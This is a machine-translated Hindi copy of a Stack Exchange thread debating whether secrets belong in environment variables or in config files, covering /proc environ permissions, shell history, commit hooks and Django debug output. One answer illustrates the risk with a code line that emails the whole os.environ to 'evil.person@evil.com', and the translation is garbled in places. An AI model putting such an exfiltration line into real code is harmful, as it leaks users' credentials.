क्या यह कॉन्फिगरेशन फ़ाइलों के रूप में पर्यावरण चर (सादे पाठ के बजाय) के रूप में पासवर्ड स्टोर करने के लिए सुरक्षित है?


109

मैं रेल, django (और थोड़ा php) में कुछ ऐप पर काम करता हूं, और उनमें से कुछ में मैंने जो कुछ करना शुरू किया, वह कुछ कॉन्फिगर फाइल में सादे टेक्स्ट के बजाय डेटाबेस और अन्य पासवर्ड को पर्यावरण चर के रूप में स्टोर कर रहा है ( या सेटिंग्सजोम में, django ऐप्स के लिए)।

मेरे एक सहयोगी के साथ इस पर चर्चा करने में, उन्होंने सुझाव दिया कि यह एक खराब अभ्यास है - कि शायद यह उतना सुरक्षित नहीं है जितना कि यह पहली बार लगता है।

तो, मैं जानना चाहूंगा - क्या यह एक सुरक्षित अभ्यास है? क्या इन फ़ाइलों में सादा पाठ के रूप में पासवर्ड स्टोर करना अधिक सुरक्षित है (निश्चित रूप से, इन फाइलों को सार्वजनिक रिपॉजिट या कुछ भी नहीं छोड़ना है)?

जवाबों:


45

अधिक सैद्धांतिक स्तर पर, मैं निम्नलिखित तरीकों से सुरक्षा के लिए स्तरों के बारे में सोचना चाहता हूं (बढ़ती ताकत के क्रम में):

  • कोई सुरक्षा नहीं। सादे पाठ। कोई भी व्यक्ति जानता है कि कहां देखना है, डेटा तक पहुंच सकता है।
  • सुरक्षा Obfuscation द्वारा। आप डेटा (प्लेनटेक्स्ट) को किसी स्थान पर, किसी वातावरण चर की तरह, या एक फ़ाइल में संग्रहीत करते हैं, जो एक विन्यास फाइल की तरह दिखती है। एक हमलावर अंततः यह पता लगाएगा कि क्या चल रहा है, या उसके पार ठोकर खाते हैं।
  • एन्क्रिप्शन द्वारा प्रदान की गई सुरक्षा जो तोड़ने के लिए तुच्छ है, (सीज़र सिफर समझें!)।
  • एन्क्रिप्शन द्वारा प्रदान की गई सुरक्षा जिसे कुछ प्रयास से तोड़ा जा सकता है।
  • एन्क्रिप्शन द्वारा प्रदान की गई सुरक्षा जो दिए गए वर्तमान हार्डवेयर को तोड़ने के लिए अव्यावहारिक है।
  • सबसे सुरक्षित प्रणाली वह है जिसका कोई उपयोग नहीं कर सकता है! :)

प्लेनटेक्स्ट फ़ाइलों की तुलना में पर्यावरण चर अधिक सुरक्षित हैं , क्योंकि वे अस्थिर / डिस्पोजेबल हैं, सहेजे नहीं गए हैं; यानी यदि आप केवल एक स्थानीय पर्यावरण चर सेट करते हैं, जैसे "सेट pwd = जो भी हो", और फिर स्क्रिप्ट को चलाने के लिए, कुछ ऐसी चीज के साथ जो आपके कमांड शेल को स्क्रिप्ट के अंत में बाहर निकालती है, तो चर अब मौजूद नहीं है। आपका मामला पहले दो में आता है, जो मैं कहूंगा कि काफी असुरक्षित है। यदि आप ऐसा करने जा रहे हैं, तो मैं आपके तत्काल इंट्रानेट / होम नेटवर्क के बाहर तैनात करने की सिफारिश नहीं करूंगा, और उसके बाद केवल परीक्षण के लिए।


1
यह ऑपरेटिंग सिस्टम पर निर्भर करता है - सबसे अच्छे मामले में, पर्यावरण चर, प्लेटेक्स्ट फाइलों की तरह कमजोर होते हैं, लेकिन संभावना बदतर होती है। सादे फाइलों के साथ आप उनकी सुरक्षा के लिए फाइलों / निर्देशिकाओं पर पठन अनुमतियाँ सेट कर सकते हैं। पर्यावरण चर के लिए IIRC, वे शेल प्रक्रिया के लिए मेमोरी स्पेस में रहते हैं, इसलिए एक उद्यमी पटाखा उन अंतरिक्ष को देख सकता है जो उन्हें देख रहे हैं।
जॉन कार्टर

1
एक मिनट प्रतीक्षा करें: यदि आप एक पर्यावरण चर के अंदर क्रेडेंशियल संग्रहीत करते हैं, तो उन्हें पहले वहां पहुंचने की आवश्यकता है। या तो हाथ से, या स्क्रिप्ट से। आपके सॉफ़्टवेयर के स्टार्टअप को स्वचालित करने के लिए, मैं एक स्क्रिप्ट की सिफारिश करूंगा। लेकिन लगता है कि क्या, फिर आप उन्हें एक विन्यास फाइल (env चर के लिए) में फिर भी संग्रहीत करने की आवश्यकता है। जब तक आप हाथ से एनवी चर के लिए मान प्रदान नहीं कर रहे हैं, मैं फ़ाइलों को कॉन्फ़िगर करने के लिए कोई सुरक्षा अंतर नहीं देख सकता।
गणित

59

जैसा कि पहले उल्लेख किया गया है, दोनों विधियाँ आपके सिस्टम से समझौता होने के बाद अतिरिक्त "सुरक्षा" की कोई परत प्रदान नहीं करती हैं। मेरा मानना ​​है कि पर्यावरण चर का पक्ष लेने के सबसे मजबूत कारणों में से एक है संस्करण नियंत्रण : मैंने देखा है कि बहुत सारे डेटाबेस कॉन्फ़िगरेशन आदि को संस्करण नियंत्रण प्रणाली में संचित रूप से संग्रहीत किया जा रहा है जैसे कि जीआईटी हर दूसरे डेवलपर को देखने के लिए (और वूप्स! यह हुआ! में भी ...)।

फ़ाइलों में अपने पासवर्ड को संग्रहीत नहीं करना उनके लिए संस्करण नियंत्रण प्रणाली में संग्रहीत करना असंभव बनाता है।


6
संस्करण नियंत्रण में गुप्त कॉन्फ़िगरेशन सेटिंग्स को संग्रहीत नहीं करने का एक बहुत ही उचित विकल्प उन्हें कोड नियंत्रण भंडार या कोड के लिए रिपॉजिटरी से अलग प्रोजेक्ट में संग्रहीत कर रहा है ।
केनी एविट

1
@KennyEvitt जो अभी भी एक साझा स्थान में असुरक्षित, सादा पासवर्ड छोड़ देता है जिसे रिपॉजिटरी तक पहुंचने वाला कोई भी व्यक्ति ढूंढ सकता है और इसे एक्सेस करने का कोई तरीका ट्रैक नहीं कर सकता है।
FistOfFury

2
@FistOfFury ज़रूर, रिपॉजिटरी तक पहुँच रखने वाला कोई भी ... रिपॉजिटरी एक्सेस कर सकता है। एक अलग रिपॉजिटरी में रहस्यों को संग्रहीत करने की बात बिल्कुल सही है ताकि कोई कोड के मुकाबले उन रहस्यों तक पहुंच को नियंत्रित कर सके। लेकिन रिपॉजिटरी को सुरक्षित किया जा सकता है, जैसे आप 'साझा स्थान' में एन्क्रिप्ट किए गए रहस्यों को संग्रहीत कर सकते हैं। और आप साझा स्थान में भंडार तक पहुंच के बारे में जानकारी भी ट्रैक कर सकते हैं। लेकिन, निश्चित रूप से, किसी को भी जानकारी का उपयोग करने की अनुमति देने का अर्थ है कि वे उस जानकारी को कॉपी कर सकते हैं और इस प्रकार भविष्य में इसे बिना किसी प्रतिबंध या ट्रैकिंग के कभी भी एक्सेस कर सकते हैं।
केनी एविट

2
कॉन्फ़िगरेशन प्रबंधन समाधान का उपयोग करने का एक बड़ा कारण यह है कि आपको एन्क्रिप्ट किए गए रहस्यों को संग्रहीत करने देता है, फिर उन्हें रेंडर करने के समय कॉन्फ़िगर टेम्पलेट्स में प्रतिस्थापित करता है। शेफ ने डाटा बैग्स को एनक्रिप्ट किया है, अन्सिबल के पास वॉल्ट्स हैं, आदि
ब्रायन क्लाइन

1
इसे विशेषाधिकार प्राप्त प्रबंधन कहा जाता है, जहां व्यापक अभिगम नियंत्रण के साथ एक केंद्रीकृत PAM वॉल्ट में रहस्य संग्रहीत किए जाते हैं। गार्टनर कुछ ऐसे उत्पादों को सूचीबद्ध करता है ।
अमित नायडू

44

कभी भी आपको पासवर्ड स्टोर करना पड़ता है, यह असुरक्षित है। अवधि। अन-इनक्रिप्टेड पासवर्ड को सुरक्षित रूप से स्टोर करने का कोई तरीका नहीं है। अब पर्यावरण चर बनाम विन्यास फाइल में से कौन सा "सुरक्षित" है शायद बहस का मुद्दा है। IMHO, यदि आपके सिस्टम से छेड़छाड़ की जाती है, तो यह वास्तव में मायने नहीं रखता है कि यह कहाँ संग्रहीत है, एक मेहनती हैकर इसे ट्रैक कर सकता है।


12
पर्यावरण चर के लिए, मैं यहाँ यूनिक्स की उम्मीद कर रहा हूँ ... पर्यावरण चर रास्ते फ़ाइलों की तुलना में कम सुरक्षित हैं। कोई भी एक चल रही प्रक्रिया के वातावरण की जांच कर सकता है, लेकिन फाइलें कम से कम एसीएल हो सकती हैं।
वेटिन

11
यह देखते हुए कि डेवलपर को इन पासवर्डों को संग्रहीत करना है, यह बहुत उपयोगी उत्तर नहीं है। आप कहां सुझाव देते हैं कि वह उन्हें संग्रहीत करता है?
पीटर निक्सी

2
@ वैटाइन स्थान को उजागर करने वाले वातावरण चर की भी अनुमति है। cat /proc/1/environउदाहरण के लिए प्रयास करें ।
क्रिस डाउन

4
@Vatine वास्तव में? मुझे मेरे द्वारा स्वामित्व वाली प्रक्रियाओं के लिए कोई वातावरण नहीं दिखता है ps axestrace -e open ps axeसे पता चलता है कि यह जानकारी प्राप्त कर रहा है /proc/[pid]/environ, जिसमें अनुमति प्रवर्तन (इसलिए एक गुच्छा open("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied)) है।
क्रिस डाउन

4
हुह। उस पर गौर करें, आखिरकार एक समस्या तय हो गई है (जिसका इस्तेमाल किया psगया था और वह बहुत खुश था और खुशी से आपको हर चीज का माहौल दिखाएगा)।
वेटिन

28

क्षमा करें, मेरे पास टिप्पणी करने के लिए पर्याप्त प्रतिनिधि नहीं था, लेकिन मैं यह भी जोड़ना चाहता था कि यदि आप सावधान नहीं हैं, तो आपका शेल उस पासवर्ड को इतिहास इतिहास में भी कैप्चर कर सकता है। इसलिए $ pwd=mypassword my_progमैन्युअल रूप से कुछ चलाना उतना ही कठिन नहीं है जितना कि आप उम्मीद कर सकते हैं।


21
यदि आप एक स्थान के साथ पूरे "एनवी वर + कमांड" को उपसर्ग करते हैं, तो यह इतिहास में संग्रहीत नहीं होता है
shadi

धन्यवाद @ शशि प्रति दिन कुछ नया सीखें! मुझे आश्चर्य है कि अगर खोल विशिष्ट / आसान बंद है या अगर यह कुछ ऐसा है जो लगातार बहुत उम्मीद कर सकता है?
brianclements

4
एक और तरीका है read -s MY_PASS_VARजो शेल-हिस्ट्री सर्च और शोल्डर सर्फर्स दोनों से बचाएगा।
MatrixManAtYrService

4
@brianclements मैं चाहते हैं जोड़ने के लिए है कि एक स्थान के साथ आदेश लगाकर ही काम करता है की वर्तमान खोल यदि HISTCONTROLकरने के लिए सेट कर दिया जाता ignorespaceया ignoreboth, इसलिए तकनीकी रूप से यह चालू किया जा सकता है / बंद।
मूसा

14

मुझे लगता है कि जब संभव हो तो आपको अपने क्रेडेंशियल को gitignored फ़ाइल में संग्रहीत करना चाहिए न कि पर्यावरण चर के रूप में।

एक फ़ाइल बनाम ईएनवी (पर्यावरण) चर में क्रेडेंशियल संग्रहीत करते समय विचार करने वाली चीजों में से एक यह है कि ईएनवी चर किसी भी पुस्तकालय या आपके द्वारा उपयोग की जाने वाली निर्भरता द्वारा आसानी से निरीक्षण किया जा सकता है।

यह दुर्भावना से किया जा सकता है या नहीं। उदाहरण के लिए एक पुस्तकालय लेखक स्टैक के निशान और ईएनवी चर को डीबगिंग के लिए खुद को ईमेल कर सकता है (सर्वोत्तम अभ्यास नहीं, लेकिन ऐसा करना संभव है)।

यदि आपके क्रेडेंशियल किसी फ़ाइल में हैं, तो उनमें चोटी रखना बहुत कठिन है।

विशेष रूप से, नोड में एक एनपीएम के बारे में सोचें। एक एनपीएम के लिए अपने क्रेडेंशियल्स को देखने के लिए अगर वे ईएनवी में हैं तो एक साधारण मामला है process.ENV। यदि दूसरी ओर वे एक फ़ाइल में हैं, तो यह बहुत अधिक काम है।

आपकी क्रेडेंशियल फ़ाइल संस्करण नियंत्रित है या नहीं यह एक अलग प्रश्न है। आपकी क्रेडेंशियल फ़ाइल को नियंत्रित करने वाला संस्करण कम लोगों के लिए इसे उजागर नहीं करता है। उत्पादन साख जानने के लिए सभी देवों की कोई आवश्यकता नहीं है। चूंकि यह कम से कम विशेषाधिकार के सिद्धांत तक रहता है, इसलिए मैं सुझाव दूंगा कि आपकी साख फ़ाइल की अनदेखी की जाए।


6
+1 के लिए "एक पुस्तकालय लेखक स्टैक के निशान और ईएनवी चर को स्वयं डिबगिंग के लिए ईमेल कर सकता है"। इस परिदृश्य के बारे में कभी नहीं सोचा था।
netishix

6

यह आपके खतरे के मॉडल पर निर्भर करता है।

क्या आप अपने उपयोगकर्ताओं को उनके फाइल सिस्टम पर पासवर्ड को छिड़कने से रोकने की कोशिश कर रहे हैं, जहां उन्हें भूल जाने और गलत व्यवहार की संभावना है? यदि ऐसा है, तो हाँ, क्योंकि पर्यावरण चर फ़ाइलों की तुलना में कम लगातार हैं।

क्या आप किसी दुर्भावनापूर्ण चीज़ के खिलाफ सुरक्षित करने की कोशिश कर रहे हैं जो सीधे आपके कार्यक्रम को लक्षित कर रही है? यदि ऐसा है, तो नहीं, क्योंकि पर्यावरण चर का एक समान स्तर का अभिगम नियंत्रण नहीं है जो फाइलें करती हैं।

व्यक्तिगत रूप से, मुझे लगता है कि लापरवाह उपयोगकर्ता प्रेरित सलाहकारों की तुलना में अधिक सामान्य हैं, इसलिए मैं पर्यावरण चर दृष्टिकोण के साथ जाऊंगा।


0

AFAICT, ऐसे दो कारण हैं जिनसे लोग पर्यावरण चर में रहस्यों को संग्रहीत करने की सलाह देते हैं:

  1. अनजाने में गुप्त फ्लैट फ़ाइलों को रेपो में रखना बहुत आसान है। (और अगर यह सार्वजनिक रेपो है, तो आप टोस्ट हैं।)
  2. यह पासवर्ड अव्यवस्था को रोकता है अर्थात, कई अलग-अलग प्रोजेक्ट निर्देशिका फ़ाइलों में एक ही कुंजी होने से स्वयं एक सुरक्षा जोखिम होता है क्योंकि डेवलपर्स अंततः उन रहस्यों का ट्रैक खो देंगे जहां रहस्य स्थित हैं।

इन दोनों मुद्दों को बेहतर तरीके से हल किया जा सकता है। पूर्व को एक कमिट हुक द्वारा हल किया जाना चाहिए जो पासवर्ड की तरह दिखने वाली चीजों की जांच करता है (उदाहरण के लिए, gitleaks )। काश लिनुस ने इस तरह के टूल को गिट लाइब्रेरी के सोर्स कोड में बनाया हो लेकिन, अफसोस, ऐसा नहीं हुआ। (कहने की जरूरत नहीं है, गुप्त फाइलों को हमेशा जोड़ा जाना चाहिए .gitignore, लेकिन अगर किसी को ऐसा करने के लिए भूल जाता है तो आपको हुक की जरूरत है।)

उत्तरार्द्ध को एक वैश्विक कंपनी रहस्य फ़ाइल के द्वारा हल किया जा सकता है, जिसे आदर्श रूप से केवल-पढ़ने के लिए साझा ड्राइव पर संग्रहीत किया जाता है। तो, पायथन में, आपके पास कुछ ऐसा हो सकता है from company_secrets import *

इससे भी महत्वपूर्ण बात, जैसा कि दूसरों द्वारा बताया गया है, यह पर्यावरण चर में संग्रहीत रहस्यों को हैक करना बहुत आसान है। उदाहरण के लिए, पायथन में, एक पुस्तकालय लेखक सम्मिलित हो सकता है send_email(address="evil.person@evil.com", text=json.dumps(os.environ))और यदि आप इस कोड को निष्पादित करते हैं तो आप टोस्ट कर सकते हैं। यदि आपके पास अपने सिस्टम पर एक फ़ाइल है, तो हैकिंग अधिक चुनौतीपूर्ण है ~/secret_company_stuff/.my_very_secret_company_stuff

Django उपयोगकर्ता केवल:
Django (DEBUG मोड में) ब्राउज़र में एक पर्यावरण चर के कच्चे मूल्य को दिखाता है यदि कोई अपवाद है (DEBUG मोड में)। यह बहुत असुरक्षित लगता है, उदाहरण के लिए, एक डेवलपर गलती DEBUG=Trueसे उत्पादन में सेट हो जाता है। इसके विपरीत, Django तार की तलाश द्वारा अंधेरा पासवर्ड सेटिंग्स चर करता है API, TOKEN, KEY, SECRET, PASSया SIGNATUREढांचे के दशक में settings.pyफ़ाइल के चर नाम।

हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.